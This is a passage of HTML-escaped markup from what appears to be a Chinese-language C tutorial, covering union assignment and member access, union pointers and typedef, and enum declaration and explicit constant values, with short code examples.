class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法三\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e \u003cspan class=\"title\"\u003eq\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"number\"\u003e4\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码展示了为 Union 结构赋值的三种写法。最后一种写法不指定属性名,就会赋值给第一个属性。\u003c/p\u003e\u003cp\u003e执行完上面的代码以后,\u003ccode\u003eq.count\u003c/code\u003e可以取到值,另外两个属性取不到值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;count is %i\\n\u0026#34;\u003c/span\u003e, q.count); \u003cspan class=\"comment\"\u003e// count is 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;weight is %f\\n\u0026#34;\u003c/span\u003e, q.weight); \u003cspan class=\"comment\"\u003e// 未定义行为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果要让\u003ccode\u003eq.weight\u003c/code\u003e属性可以取到值,就要先为它赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eq.weight = \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;weight is %f\\n\u0026#34;\u003c/span\u003e, q.weight); \u003cspan class=\"comment\"\u003e// weight is 0.5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e一旦为其他属性赋值,原先可以取到值的\u003ccode\u003eq.count\u003c/code\u003e属性就不再有效了。除了这一点,Union 结构的其他用法与 Struct 结构,基本上是一致的。\u003c/p\u003e\u003cp\u003eUnion 结构也支持指针运算符\u003ccode\u003e-\u0026gt;\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e volume;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e \u003cspan class=\"title\"\u003eq\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eq.count = \u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e* \u003cspan class=\"title\"\u003eptr\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eptr = \u0026amp;q;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, ptr-\u0026gt;count); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eptr\u003c/code\u003e是\u003ccode\u003eq\u003c/code\u003e的指针,那么\u003ccode\u003eptr-\u0026gt;count\u003c/code\u003e等同于\u003ccode\u003eq.count\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eUnion 结构指针与它的属性有关,当前哪个属性能够取到值,它的指针就是对应的数据类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003efoo\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* foo_int_p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e *)\u0026amp;x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e* foo_float_p = (\u003cspan class=\"type\"\u003efloat\u003c/span\u003e *)\u0026amp;x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex.a = \u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, x.a); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, *foo_int_p); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex.b = \u003cspan class=\"number\"\u003e3.141592\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\\n\u0026#34;\u003c/span\u003e, x.b); \u003cspan class=\"comment\"\u003e// 3.141592\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\\n\u0026#34;\u003c/span\u003e, *foo_float_p); \u003cspan class=\"comment\"\u003e// 3.141592\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e\u0026amp;x\u003c/code\u003e是 foo 结构的指针,它的数据类型完全由当前赋值的属性决定。\u003c/p\u003e\u003cp\u003etypedef 命令可以为 Union 数据类型起别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e volume;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} quantity;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eunion\u003c/code\u003e命令定义了一个包含三个属性的数据类型,\u003ccode\u003etypedef\u003c/code\u003e命令为它起别名为\u003ccode\u003equantity\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eUnion 结构的好处,主要是节省空间。它将一段内存空间,重用于不同类型的数据。定义了三个属性,但同一时间只用到一个,使用 Union 结构就可以节省另外两个属性的空间。Union 结构占用的内存长度,等于它内部最长属性的长度。\u003c/p\u003e\u003ch2 id=\"Enum-类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#Enum-%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"Enum 类型\"\u003e\u003c/a\u003eEnum 类型\u003c/h2\u003e\u003cp\u003e如果一种数据类型的取值只有少数几种可能,并且每种取值都有自己的含义,为了提高代码的可读性,可以将它们定义为 Enum 类型,中文名为枚举。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e \u003cspan class=\"title\"\u003ecolors\u003c/span\u003e {\u003c/span\u003eRED, GREEN, BLUE};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, RED); \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, GREEN); \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, BLUE); \u003cspan class=\"comment\"\u003e// 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,假定程序里面需要三种颜色,就可以使用\u003ccode\u003eenum\u003c/code\u003e命令,把这三种颜色定义成一种枚举类型\u003ccode\u003ecolors\u003c/code\u003e,它只有三种取值可能\u003ccode\u003eRED\u003c/code\u003e、\u003ccode\u003eGREEN\u003c/code\u003e、\u003ccode\u003eBLUE\u003c/code\u003e。这时,这三个名字自动成为整数常量,编译器默认将它们的值设为数字\u003ccode\u003e0\u003c/code\u003e、\u003ccode\u003e1\u003c/code\u003e、\u003ccode\u003e2\u003c/code\u003e。相比之下,\u003ccode\u003eRED\u003c/code\u003e要比\u003ccode\u003e0\u003c/code\u003e的可读性好了许多。\u003c/p\u003e\u003cp\u003e注意,Enum 内部的常量名,遵守标识符的命名规范,但是通常都使用大写。\u003c/p\u003e\u003cp\u003e使用时,可以将变量声明为 Enum 类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e \u003cspan class=\"title\"\u003ecolors\u003c/span\u003e \u003cspan class=\"title\"\u003ecolor\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码将变量\u003ccode\u003ecolor\u003c/code\u003e声明为\u003ccode\u003eenum colors\u003c/code\u003e类型。这个变量的值就是常量\u003ccode\u003eRED\u003c/code\u003e、\u003ccode\u003eGREEN\u003c/code\u003e、\u003ccode\u003eBLUE\u003c/code\u003e之中的一个。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecolor = BLUE;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%i\\n\u0026#34;\u003c/span\u003e, color); \u003cspan class=\"comment\"\u003e// 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码将变量\u003ccode\u003ecolor\u003c/code\u003e的值设为\u003ccode\u003eBLUE\u003c/code\u003e,这里\u003ccode\u003eBLUE\u003c/code\u003e就是一个常量,值等于\u003ccode\u003e2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003etypedef 命令可以为 Enum 类型起别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SHEEP,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WHEAT,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WOOD,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e BRICK,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ORE\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} RESOURCE;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRESOURCE r;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eRESOURCE\u003c/code\u003e是 Enum 类型的别名。声明变量时,使用这个别名即可。\u003c/p\u003e\u003cp\u003e还有一种不常见的写法,就是声明 Enum 类型时,在同一行里面为变量赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SHEEP,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WHEAT,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WOOD,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e BRICK,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ORE\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} r = BRICK, s = WOOD;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003er\u003c/code\u003e的值是\u003ccode\u003e3\u003c/code\u003e,\u003ccode\u003es\u003c/code\u003e的值是\u003ccode\u003e2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e由于 Enum 的属性会自动声明为常量,所以有时候使用 Enum 的目的,不是为了自定义一种数据类型,而是为了声明一组常量。这时就可以使用下面这种写法,比较简单。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e ONE, TWO };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, ONE, TWO); \u003cspan class=\"comment\"\u003e// 0 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eenum\u003c/code\u003e是一个关键字,后面跟着一个代码块,常量就在代码内声明。\u003ccode\u003eONE\u003c/code\u003e和\u003ccode\u003eTWO\u003c/code\u003e就是两个 Enum 常量。\u003c/p\u003e\u003cp\u003e常量之间使用逗号分隔。最后一个常量后面的尾逗号,可以省略,也可以保留。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e ONE, TWO, };\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e由于Enum 会自动编号,因此可以不必为常量赋值。C 语言会自动从0开始递增,为常量赋值。但是,C 语言也允许为 ENUM 常量指定值,不过只能指定为整数,不能是其他类型。因此,任何可以使用整数的场合,都可以使用 Enum 常量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e ONE = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, TWO = \u003cspan class=\"number\"\u003e2\u003c/span\u003e };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, ONE, TWO); \u003cspan class=\"comment\"\u003e// 1 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eEnum 常量可以是不连续的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e {\u003c/span\u003e X = \u003cspan class=\"number\"\u003e2\u003c/span\u003e, Y = \u003cspan class=\"number\"\u003e18\u003c/span\u003e, Z = \u003cspan class=\"number\"\u003e-2\u003c/span\u003e };\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eEnum 常量也可以是同一个值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan 